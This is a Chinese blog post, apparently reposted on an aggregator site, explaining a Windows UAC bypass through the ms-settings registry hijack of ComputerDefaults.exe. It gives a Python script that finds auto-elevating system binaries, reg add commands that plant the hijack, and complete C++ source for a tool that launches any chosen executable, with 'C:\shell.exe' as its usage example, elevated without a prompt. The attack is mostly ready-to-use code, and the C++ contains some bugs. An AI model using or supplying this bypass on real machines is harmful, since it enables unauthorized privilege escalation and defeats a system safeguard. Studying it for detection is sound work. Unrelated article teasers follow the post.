Bypassuac之白名单结合注册表方式

news2024/11/26 4:52:27

参考 Bypass UAC 原来这么简单

本章记录一下系统白名单文件结合注册表bypassuac,uac这个东西并不是Windows设置的防御机制而是相当于保护机制,只是用来控制用户行为的,弹个窗来提醒一下用户的行为,和直接的杀软是不一样的性质,所以uac有多种方式绕过比如系统白名单、DLL 劫持绕过、COM 劫持绕过、利用系统漏洞绕过甚至如果直接提权到高权限也相当于直接绕过了uac

在Windows中普通用户也可以以管理员权限运行程序,在拿到一个普通用户的权限需要执行一些系统操作,比如添加一个用户,运行一个需要管理员权限才能运行的程序等等都会弹出uac控制来提示是否以管理员权限执行,这个时候要么提升权限要么就只能uac绕过。

另外在域中的uac更加严格,需要输入管理员的账号密码才可以继续运行

白名单的挖掘

序需要满足以下几个条件:

1. 程序的manifest标识的配置属性 autoElevate 为 true

2. 程序不弹出UAC弹窗

3. 从注册表里查询Shell\Open\command键值对

       程序的autoElevate如果设置为true就代表他可以直接以管理员权限静默执行,毕竟在Windows系统中不可能每个程序都弹uac吧还是有静默的,条件就这个要设置为true,但是这个被设置为了true不代表一定就不会弹uac!

        第一个条件可以使用微软官方的工具sigcheck64.exe来查找,我们要找一个白名单程序肯定是每个电脑上都会存在的才可以,所以重点寻找系统的那么几个文件比如Windows文件夹

sigcheck64.exe工具使用

一个白程序的 autoElevate 为 true

这里可以使用一个脚本来查找所有白名单(第一次使用会有个要求同意的的gui界面,必须要先运行一遍sigcheck64.exe工具才能使用脚本)

import os
from subprocess import Popen, PIPE

path = 'c:\\windows\\system32'

def GetFileList(path, fileList):
    if os.path.isfile(path):
        if path[-4:].lower() == '.exe':
            fileList.append(path)
    elif os.path.isdir(path):
        try:
            for s in os.listdir(path):
                newDir = os.path.join(path, s)
                GetFileList(newDir, fileList)
        except Exception as e:
            print(e)
    return fileList

files = GetFileList(path, [])
print(files)


for eachFile in files:
    try:
        command = r'.\sigcheck64.exe -m "{}" | findstr auto'.format(eachFile)
        print(command)
        p1 = Popen(command, shell=True, stdout=PIPE)
        output = p1.stdout.read().decode('utf-8')  # 假设输出是utf-8编码
        if '<autoElevate>true</autoElevate>' in output:
            copy_command = r'copy "{}" .\success'.format(eachFile)
            Popen(copy_command, shell=True)
            print('[+] {}'.format(eachFile))
            with open('success.txt', 'a') as f:  # 每次循环都以追加模式打开文件
                f.write('{}\n'.format(eachFile))
    except Exception as e:
        print(e)

# 注意:确保sigcheck64.exe工具在当前目录,并且有权限执行这些命令。

结果保存在success.txt中

下一个条件是程序不弹出UAC弹窗

这里我们就以ComputerDefaults.exe为演示,这个程序是不会弹uac的可以试一试

win +r 直接运行这个程序

发现是没有弹窗符合条件

第三个条件是从注册表里查询Shell\Open\command键值对

注册表操作监控

这里使用ProcessMonitor的Procmon64.exe 工具进行监视程序的行为

这里添加了两条规则一个是ComputerDefaults.exe进程的监视一个是注册表的操作监视

主要是看注册表的操作

运行一下程序所有的注册表操作都监控到了,然后搜索一下我们想要的那个Shell\Open\Command行为是否存在

找到了说明有这个行为,符合条件,这就是我们要的白名单程序

另外可以看到这里有个result是一个 NAME NOT FOUND,这个结果是更好的,说明他去查询的键值对是不存在的可以自己增加修改,如果是success说明以及被写好了,你去修改可能会出其他的问题啥的影响程序运行。

去注册表里看一下 win +r regedit

看HKCU\Software\Classes\ms-settings\Shell\Open\Command 路径是否存在,不存在就手动添加,另外就是HKCU的路径是我们可以修改的,HKUR需要高权限才能修改。一般我们要绕过uac说明我们的权限并不高,如果去查询的路径是在HKUR那就可以换一个程序研究了

查询发现不存在ms-settings的目录

那么我们就创建这些项

这里手动修改这里的值为cmd.exe啥的会被Windows的defender直接拦截。。。

直接修改为calc.exe

但是重新运行ComputerDefaults 并没有弹出计算器,重新查看一下监控

这里将过滤规则中的reg那个删除只保留processname的

可以看到Shell\Open\Command 结果是success说明我们写的成功了,但是后面还有个HKCU\Software\Classes\ms-settings\Shell\Open\Command\DelegateExecute是NAME NOT FOUND 这里也要修改,让这里也通行

那么就是新建一个DelegateExecute字符串

修改后再次打开ComputerDefaults 成功的打开了我们的calc

手动的演示完毕了实际也是可以使用命令或者代码实现的

命令方式

# 添加
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /t REG_SZ /d "calc.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
# 复原
reg delete HKCU\Software\Classes\ms-settings /f

代码生成

#include <iostream>
#include <Windows.h>
#include "tchar.h"

DWORD BypassUAC(LPWSTR filePath){
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFOA si = { 0 };
    HKEY hKey;
    si.cb = sizeof(STARTUPINFO);
    si.wShowWindow = SW_HIDE;
    DWORD dwDisposition;

    if (filePath == NULL)
    {
        printf("[!] FilePath is null, please try again!\n");
        exit(1);
    }
    else {
        printf("\n");
        printf("[*] Get filePath success , the filePath is : %ws\n", filePath);
    }

    // 创建注册表项
    if (ERROR_SUCCESS != ::RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey))
    {
        printf("[!] Create regedit failed, error is : %d\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[*] Create regedit successfully!\n");
    }

    // 设置注册表值
    if (ERROR_SUCCESS != ::RegSetValueExW(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenW(filePath) + 1024)))
    {
        printf("[!] Create exe_key-value failed, error is : %d\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[*] Create exe_key-value successfully!\n");
    }

    // 设置 DelegateExecute 的值为空
    if (ERROR_SUCCESS != RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof("")))
    {
        printf("[!] Create delete_key-value failed, error is : %d\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[*] Create delete_key-value successfully!\n");
    }

    // 使用 cmd.exe 来执行 ComputerDefaults.exe
    if (NULL == CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
    {
        printf("[!] Create Process failed, error is : %d\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[*] Create Process successfully!\n");
    }

    return TRUE;

    Sleep(3000);

        if (ERROR_SUCCESS != ::RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings"))
        {
            printf("[!] Delete regedit failed, error is : %d\n", GetLastError());
        }
        else {
            printf("[*] Delete regedit successfully!\n");
        }
}

int main(int argc, wchar_t* argv[]){
    if (argc != 2)
    {
        printf("UAC.exe <filepath>\n");
        printf("UAC.exe C:\\shell.exe");
    }
    else {
        LPWSTR filePath = argv[1];
        BypassUAC(filePath);
    }

    return 0;
}

不过此程序已近是被Windows监控了,执行cmd.exe啥的估计不行,不过思路是这个思路。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2235163.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【力扣打卡系列】单调栈

坚持按题型打卡&刷&梳理力扣算法题系列&#xff0c;语言为go&#xff0c;Day20 单调栈 题目描述 解题思路 单调栈 后进先出 记录的数据加在最上面丢掉数据也先从最上面开始 单调性 记录t[i]之前会先把所有小于等于t[i]的数据丢掉&#xff0c;不可能出现上面大下面小的…

如何通过CDN加速提升电商网站双十一购物节用户体验

随着双十一购物节的到来&#xff0c;电商平台迎来了一年中流量的高峰。各大电商平台如天猫、京东和抖音等纷纷推出了全新的促销活动和玩法。在这场购物狂欢中&#xff0c;用户体验成为了电商网站能否脱颖而出的关键。而CDN&#xff08;内容分发网络&#xff09;加速服务&#x…

Linux信号_信号的产生

信号概念 信号是进程之间事件异步通知的一种方式&#xff0c;属于软中断。 异步&#xff1a;在异步操作中&#xff0c;任务可以独立执行。一个任务的开始或完成不依赖于其他任务的状态。 同步&#xff1a;在同步操作中&#xff0c;任务之间的执行是相互依赖的。一个任务必须等待…

Docker学习—Docker核心概念总结

核心概念总结 容器&#xff1a;容器就是将应用运行所需的所有内容比如代码、运行时环境&#xff0c;进行打包和隔离。 容器和虚拟机的对比 虚拟机是在同一个硬件上虚拟化出多个操作系统&#xff08;OS&#xff09;实例。 容器是在操作系统上进行虚拟化&#xff0c;用于隔离…

51单片机教程(六)- LED流水灯

1 项目分析 基于点亮LED灯、LED灯闪烁&#xff0c;扩展到构成最简单、花样流水灯。 2 技术准备 1 流水灯硬件及原理图 流水灯是由多个LED灯组成的 2 C语言知识点 数组 数组声明&#xff1a;长度不可变 数据类型 数组名称[长度n] // 整数型默认为0&#xff0c;小数型默认…

供热的一些基础技术数据

1、应该了解的几个实用数据:(1)室内采暖达标温度182℃(2)建筑面积采暖热负荷 4060kcal/h㎡(4570W/㎡)(3)建筑面积采暖所需合理流量 2.53.5kg/h㎡(节能建筑12 kg/h㎡)(4)一次网严寒期外网总供、回水温度5570℃(5)热网的补水量应小于热网循环量的1%(6)1蒸吨的热量可供11.5 万平方…

【1个月速成Java】基于Android平台开发个人记账app学习日记——第7天,申请阿里云SMS短信服务SDK

系列专栏链接如下&#xff0c;方便跟进&#xff1a; https://blog.csdn.net/weixin_62588253/category_12821860.html?fromshareblogcolumn&sharetypeblogcolumn&sharerId12821860&sharereferPC&sharesourceweixin_62588253&sharefromfrom_link 同时篇幅…

A02、JVM性能监测调优

1、JVM内存模型 1.1、介绍 JVM 自动内存分配管理机制的好处很多&#xff0c;但实则是把双刃剑。这个机制在提升 Java 开发效率的同时&#xff0c;也容易使 Java 开发人员过度依赖于自动化&#xff0c;弱化对内存的管理能力&#xff0c;这样系统就很容易发生 JVM 的堆内存异常&…

钉钉调试微应用整理2

第一步 新建应用 钉钉开放平台](https://open-dev.dingtalk.com/) 去新增应用 第二步 配置应用信息 把本地代码运行起来&#xff0c;并设置本地地址 第三步 在本地代码添加调试命令 这里有2中添加方式 哪一种都可以 方式一&#xff1a; index.html页面中 <!DOCTYPE h…

《TCP/IP网络编程》学习笔记 | Chapter 3:地址族与数据序列

《TCP/IP网络编程》学习笔记 | Chapter 3&#xff1a;地址族与数据序列 《TCP/IP网络编程》学习笔记 | Chapter 3&#xff1a;地址族与数据序列分配给套接字的IP地址和端口号网络地址网络地址分类和主机地址边界用于区分套接字的端口号数据传输过程示例 地址信息的表示表示IPv4…

飞牛fnOs内网穿透-使用Lucky实现ipv6动态解析+HTTPS访问NAS服务

&#x1f9ed;Lucky官方介绍 Lucky最初是作为一个小工具&#xff0c;由开发者为自己的个人使用而开发&#xff0c;用于替代socat&#xff0c;在小米路由AX6000官方系统上实现公网IPv6转内网IPv4的功能。Lucky的设计始终致力于让更多的Linux嵌入式设备运行&#xff0c;以实现或…

《安富莱嵌入式周报》第345期:开源蓝牙游戏手柄,USB3.0 HUB带电压电流测量,LCR电桥前端模拟,开源微型赛车,RF信号扫描仪,开源无线电收发器

周报汇总地址&#xff1a;嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 本周更新一期视频教程 第5期&#xff1a;RTX5/FreeRTOS全家桶源码工程综合实战模板集成CANopen组件&#xff08;2024-1…

微服务中常用分布式锁原理及执行流程

1.什么是分布式锁 分布式锁是一种在分布式系统环境下实现的锁机制&#xff0c;它主要用于解决&#xff0c;多个分布式节点之间对共享资源的互斥访问问题&#xff0c;确保在分布式系统中&#xff0c;即使存在有多个不同节点上的进程或线程&#xff0c;同一时刻也只有一个节点可…

三:LoadBalancer负载均衡服务调用

LoadBalancer负载均衡服务调用 1.LB负载均衡(Load Balance)是什么2.loadbalancer本地负载均衡客户端 与 Nginx服务端负载均衡区别3.实现loadbalancer负载均衡实例3-1.首先应模拟启动多个服务提供者应用实例&#xff1a;3-2.在服务消费项目引入LoadBalancer3-3&#xff1a;测试用…

简单入门Git

Git作用 Git简介 作用&#xff1a;版本控制多人协作 集中式 典型代表&#xff1a;SVN 特点&#xff1a;所有的版本库都存在中央服务器&#xff0c;本地备份动作必须依赖中央服务器&#xff0c;如果一旦服务器挂掉&#xff0c;或者网络状况不好&#xff0c;没法提交版本。…

解决echarts桑基图为0时tooltip不显示的问题

关键代码 formatter: function (params) {console.log("params",params)if (params.value 0) {// 如果值为0&#xff0c;返回空字符串&#xff0c;不显示任何内容return params.name : params.value;// return ;} else {// 否则返回标准的格式化信息return par…

DevOps业务价值流:版本规划的最佳实践

初入公司&#xff0c;面对瀑布研发模式下的冗长周期与频繁返工&#xff0c;我率先尝试局部敏捷迭代&#xff0c;但成效有限。随后&#xff0c;推动全面敏捷化&#xff0c;从需求阶段即开始规划&#xff0c;虽方向正确&#xff0c;却遭遇版本规划难题。项目经理与产品经理对敏捷…

NewStar CTF 2024 misc WP

decompress 压缩包套娃&#xff0c;一直解到最后一层&#xff0c;将文件提取出来 提示给出了一个正则&#xff0c;按照正则爆破密码&#xff0c;一共五位&#xff0c;第四位是数字 ^([a-z]){3}\d[a-z]$ 一共就五位数&#xff0c;直接ARCHPR爆破&#xff0c;得到密码 xtr4m&…

2020年美国总统大选数据分析与模型预测

数据集取自&#xff1a;2020年&#x1f1fa;&#x1f1f8;&#x1f1fa;&#x1f1f8;美国大选数据集 - Heywhale.com 前言 对2020年美国总统大选数据的深入分析&#xff0c;提供各州和县层面的投票情况及选民行为的可视化展示。数据预处理阶段将涉及对异常值的处理&#xff0…

A Consistent Dual-MRC Framework for Emotion-cause Pair Extraction——论文阅读笔记

前言 这是我第一次向同学院同年级的学生和老师们汇报的第一篇论文,于2022年发表在TOIS上,属于CCF A类,主要内容是将MRC应用到情感原因对抽取中。 论文链接:用于情绪-原因对提取的一致双 MRC 框架 |信息系统上的 ACM Transactions 这里我就不放上我自己翻译的中文版还有我…